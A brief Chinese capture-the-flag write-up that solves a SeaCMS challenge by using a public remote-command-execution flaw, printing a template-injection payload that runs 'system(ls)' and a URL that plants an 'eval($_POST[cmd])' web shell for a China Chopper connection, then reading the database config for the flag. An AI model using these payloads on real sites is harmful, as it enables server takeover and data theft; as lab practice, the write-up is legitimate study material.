题目内容：善于查资料，你就可以拿一血了。
打开页面，显示海洋cms，查找相关漏洞，找到一个任意命令执行漏洞。
https://www.freebuf.com/vuls/150042.html
直接上payload
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=sy&9[]=stem(ls);
得到一连串文件，不过没有flag。那可能应该在数据库里。
换一个exp，可以直接用菜刀连接的。
https://www.uedbox.com/post/8857/
http://7d919462dc574d2e85bcd0bf0654734366f837cda98349ad.changame.ichunqiu.com/search.php?searchtype=5&tid=&area=eval($_POST[cmd])
连接成功，找到数据库配置文件
图片.png
连上数据库，得到flag
图片.png
网友评论